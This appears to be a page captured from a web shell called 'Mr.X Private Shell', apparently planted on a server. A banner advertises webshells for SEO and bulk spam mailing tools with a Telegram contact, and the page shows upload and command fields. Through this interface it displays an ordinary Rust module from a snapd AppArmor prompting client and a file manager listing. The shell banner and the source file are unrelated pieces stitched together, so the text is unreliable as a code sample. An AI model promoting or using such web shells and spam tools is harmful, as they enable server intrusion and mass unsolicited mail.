__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
//! Per-interface logic and data types for working with Snapd prompts.
//!
//! Each snapd interface is handled slightly differently in terms of how we handle processing
//! prompts for it and how we generate the UI for the user. The [SnapInterface] trait is used to
//! provide the functionality and associated types required by the [daemon][crate::daemon] for
//! supporting a new interface.
//!
//! The majority of use cases for working with per-interface prompts should be possible to write
//! using the [TypedPrompt], [TypedUiInput] and [TypedPromptReply] types rather than making use of
//! implementations of [SnapInterface] directly.
use crate::{
    daemon::EnrichedPrompt,
    prompt_sequence::MatchAttempt,
    protos::apparmor_prompting::{
        self, get_current_prompt_response::Prompt as ProtoPrompt,
        prompt_reply::PromptReply as ProtoConstraints, PromptReply as ProtoPromptReply,
    },
    snapd_client::{
        self,
        prompt::{Prompt, RawPrompt, UiInput},
        Action, PromptId, PromptReply, SnapMeta,
    },
    Error, Result,
};
use serde::{de::DeserializeOwned, Deserialize, Serialize};
use std::fmt;
use tonic::{Code, Status};

pub mod home;

use home::HomeInterface;

#[macro_export]
macro_rules! map_enum {
    ($from:ident => $to:ident; [$($variant:ident),+]; $val:expr;) => {
        match $val {
            $(
                $from::$variant => $to::$variant,
            )+
        }
    };

    ($fmod:ident::$from:ident => $tmod:ident::$to:ident; [$($variant:ident),+]; $val:expr;) => {
        match $val {
            $(
                $fmod::$from::$variant => $tmod::$to::$variant,
            )+
        }
    };
}

/// The core of the prompting client daemon is generic over the content of the per-interface data
/// we receive in prompts from Snapd, with the specifics being handled by implementations of this
/// trait.
///
/// At a high level, the purpose of this trait is to provide a set of methods and types that act as
/// a data pipeline for processing prompts from Snapd via the Flutter UI and user interaction:
///
///   - `RawPrompt` data from Snapd is obtained using the `SnapdClient::prompt_details` method
///   - A `TypedPrompt` is then created based on the prompt interface name and deserialization of the
///     `constraints` field into the `Constraints` associated type
///   - This typed prompt is combined with `SnapMeta` pulled from Snapd to create an `EnrichedPrompt`
///     which can be converted to a `UiInput` using the `SnapInterface::ui_input_from_prompt` method
///   - This is then converted to a `ProtoPrompt` to be sent to the Flutter UI
///   - The `ProtoPromptReply` type received from the UI is then converted to a `TypedPromptReply`
///     before being submitted to Snapd
///
/// See the documentation on each of the associated types and methods for more details.
#[allow(async_fn_in_trait)]
pub trait SnapInterface: fmt::Debug + Sized {
    /// The snapd interface name as provided by Snapd in the `interface` field in prompts.
    const NAME: &'static str;

    /// Serialization type for the `constraints` field of a prompt for this interface.
    ///
    /// The structure of this data needs to be developed and agreed upon with the Snapd team when
    /// support for a new interface is being implemented.
    type Constraints: fmt::Debug + Clone + Serialize + DeserializeOwned;

    /// The Rust representation of the data that will be sent to the Flutter UI over GRPC to
    /// display a prompt for this interface.
    ///
    /// The contents of this type must be sufficient to parse the required GRPC message using
    /// [SnapInterface::proto_prompt_from_ui_input].
    type UiInputData: fmt::Debug + Clone;

    /// The Rust representation of the constraints data received from the Flutter UI over GRPC.
    ///
    /// The contents of this type must be sufficient to parse the required GRPC message using
    /// [SnapInterface::map_proto_reply_constraints].
    type UiReplyConstraints: fmt::Debug;

    /// Serialization type for the `constraints` field of a reply to prompts for this interface.
    ///
    /// This data structure is closely related (but not guaranteed to be identical) to the data
    /// structure received from Snapd under the `constraints` field of prompts for this interface.
    type ReplyConstraints: fmt::Debug + Clone + Serialize;

    /// Serialization type for use with the scripted client in order to match on received prompts
    /// and determine whether or not they should be handled or ignored.
    ///
    /// See the documentation for the [ConstraintsFilter] trait for more details.
    type ConstraintsFilter: ConstraintsFilter<Constraints = Self::Constraints>;

    /// Serialization type for use with the scripted client to specify how the client should
    /// respond to a matched prompt.
    ///
    /// See the documentation for the [ReplyConstraintsOverrides] trait for more details.
    type ReplyConstraintsOverrides: ReplyConstraintsOverrides<
        ReplyConstraints = Self::ReplyConstraints,
    >;

    /// Maps the parsed prompt data from Snapd along with meta-data about the snap that triggered
    /// the prompt (if available) into the data required for the Flutter UI.
    ///
    /// The Flutter UI is driven by the data provided by the daemon, so this method is where we
    /// implement the logic that generates the options presented to the user.
    fn ui_input_from_prompt(prompt: Prompt<Self>, meta: Option<SnapMeta>) -> Result<UiInput<Self>>;

    /// Maps [UiInput] to the protobuf serialization type required for sending data to the Flutter
    /// UI.
    ///
    /// This mapping from Snapd prompt data to the protobuf type is split between this method and
    /// [SnapInterface::ui_input_from_prompt] so that testing of the generation of [UiInput] data
    /// is more ergonomic. (The generated protobuf types from Tonic are not nice to construct
    /// directly or work with in tests)
    fn proto_prompt_from_ui_input(ui_input: UiInput<Self>) -> Result<ProtoPrompt, Status>;

    /// Used to parse the interface specific `constraints` data received from the Flutter UI.
    fn map_proto_reply_constraints(
        &self,
        raw_constraints: Self::UiReplyConstraints,
    ) -> Result<Self::ReplyConstraints, String>;

    /// Helper method for directly mapping a prompt to a reply.
    ///
    /// This is used by the scripted client along with [ReplyConstraintsOverrides] to generate
    /// scripted replies to prompts identified using a [ConstraintsFilter].
    fn prompt_to_reply(prompt: Prompt<Self>, action: Action) -> PromptReply<Self>;
}

/// A filter used by the scripted client to determine if incoming prompts for this interface should
/// be considered part of the expected prompt sequence.
pub trait ConstraintsFilter: Default + fmt::Debug + Clone + Serialize + DeserializeOwned {
    /// The structure of the `constraints` field in the received prompt.
    type Constraints: fmt::Debug + Clone + Serialize + DeserializeOwned;

    /// Whether or not this filter matches the provided prompt constraints or not.
    ///
    /// Where possible all match failures should be returned to the caller rather than just the
    /// first failure encountered. This allows the scripted client to provide clearer output to
    /// the user in the case of unexpected test failures.
    fn matches(&self, constraints: &Self::Constraints) -> MatchAttempt;
}

/// A set of overrides to apply to the default reply generated by the scripted client when
/// responding to a prompt.
pub trait ReplyConstraintsOverrides:
    Default + fmt::Debug + Clone + Serialize + DeserializeOwned
{
    /// The structure of the `constraints` field in the reply being sent to Snapd.
    type ReplyConstraints: fmt::Debug + Clone + Serialize + DeserializeOwned;

    /// Apply the contained overrides to a given prompt reply.
    fn apply(self, constraints: Self::ReplyConstraints) -> Self::ReplyConstraints;
}

/// Generic-free counterpart to [Prompt].
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(untagged)]
pub enum TypedPrompt {
    Home(Prompt<HomeInterface>),
}

impl TypedPrompt {
    pub fn into_deny_once(self) -> TypedPromptReply {
        match self {
            Self::Home(p) => HomeInterface::prompt_to_reply(p, Action::Deny).into(),
        }
    }

    pub fn id(&self) -> &PromptId {
        match self {
            Self::Home(p) => &p.id,
        }
    }

    pub fn snap(&self) -> &str {
        match self {
            Self::Home(p) => &p.snap,
        }
    }
}

impl TryFrom<RawPrompt> for TypedPrompt {
    type Error = Error;

    fn try_from(raw: RawPrompt) -> Result<Self> {
        // SAFETY: we are only deserializing the prompt constraints data after checking the value
        //         of raw.interface is correct for the SnapInterface we are using.
        unsafe {
            if raw.interface == HomeInterface::NAME {
                Ok(TypedPrompt::Home(Prompt::try_from_raw(raw)?))
            } else {
                Err(Error::UnsupportedInterface {
                    interface: raw.interface,
                })
            }
        }
    }
}

/// Generic-free counterpart to [UiInput].
#[derive(Debug, Clone)]
pub enum TypedUiInput {
    Home(UiInput<HomeInterface>),
}

impl TypedUiInput {
    pub fn id(&self) -> &PromptId {
        match self {
            Self::Home(input) => &input.id,
        }
    }
}

impl TryFrom<EnrichedPrompt> for TypedUiInput {
    type Error = Error;

    fn try_from(ep: EnrichedPrompt) -> Result<Self, Self::Error> {
        let typed_prompt = match ep.prompt {
            TypedPrompt::Home(p) => Self::Home(HomeInterface::ui_input_from_prompt(p, ep.meta)?),
        };

        Ok(typed_prompt)
    }
}

impl TryFrom<TypedUiInput> for ProtoPrompt {
    type Error = Status;

    fn try_from(ui_input: TypedUiInput) -> Result<Self, Status> {
        let proto = match ui_input {
            TypedUiInput::Home(input) => HomeInterface::proto_prompt_from_ui_input(input)?,
        };

        Ok(proto)
    }
}

/// Generic-free counterpart to [PromptReply].
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(untagged)]
pub enum TypedPromptReply {
    Home(PromptReply<HomeInterface>),
}

impl TryFrom<ProtoPromptReply> for TypedPromptReply {
    type Error = Status;

    fn try_from(mut raw_reply: ProtoPromptReply) -> Result<Self, Status> {
        let data = raw_reply.prompt_reply.take().ok_or(Status::new(
            Code::InvalidArgument,
            "recieved empty prompt_reply",
        ))?;

        let (interface, raw_constraints) = match data {
            ProtoConstraints::HomePromptReply(r) => (HomeInterface, r),
        };

        let constraints = interface
            .map_proto_reply_constraints(raw_constraints)
            .map_err(Status::internal)?;

        let reply = PromptReply {
            action: map_enum!(
                apparmor_prompting::Action => snapd_client::Action;
                [Allow, Deny];
                raw_reply.action();
            ),
            lifespan: map_enum!(
                apparmor_prompting::Lifespan => snapd_client::Lifespan;
                [Single, Session, Forever];
                raw_reply.lifespan();
            ),
            duration: None, // we don't currently use the Timespan variant for `lifespan`
            constraints,
        };

        Ok(TypedPromptReply::from(reply))
    }
}

impl From<PromptReply<HomeInterface>> for TypedPromptReply {
    fn from(value: PromptReply<HomeInterface>) -> Self {
        Self::Home(value)
    }
}

Filemanager

Name Type Size Permission Actions
home.rs File 29.8 KB 0644
mod.rs File 11.34 KB 0644
Filemanager